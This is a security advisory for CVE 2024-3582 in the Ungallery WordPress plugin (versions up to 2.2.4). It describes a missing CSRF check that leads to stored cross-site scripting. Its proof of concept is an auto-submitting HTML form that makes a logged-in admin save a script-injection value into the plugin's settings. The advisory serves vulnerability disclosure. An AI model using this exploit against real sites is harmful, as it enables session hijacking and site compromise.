Ungallery <= 2.2.4 – Stored XSS via CSRF | CVE 2024-3582

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=ungallerysettings" method="POST"> 
        <input type="hidden" name="mt_submit_hidden" value="Y">
        <input type="hidden" name="images_path" value="/var/www/html/wp-content/uploads/2024/01/*">
        <input type="hidden" name="URI" value="<? print get_bloginfo('url'); ?>/" >
        <input type="hidden" name="gallery" value="ungallery">
        <input type="hidden" name="version" value="2.2.4">
        <input type="hidden" name="gallery2" value='"><script>alert(2)</script>'>
        <input type="hidden" name="cache_dir" value="/var/www/html/wp-content/cache/">
        <button type="submit">Save Changes</button>
    </form>
</body>
```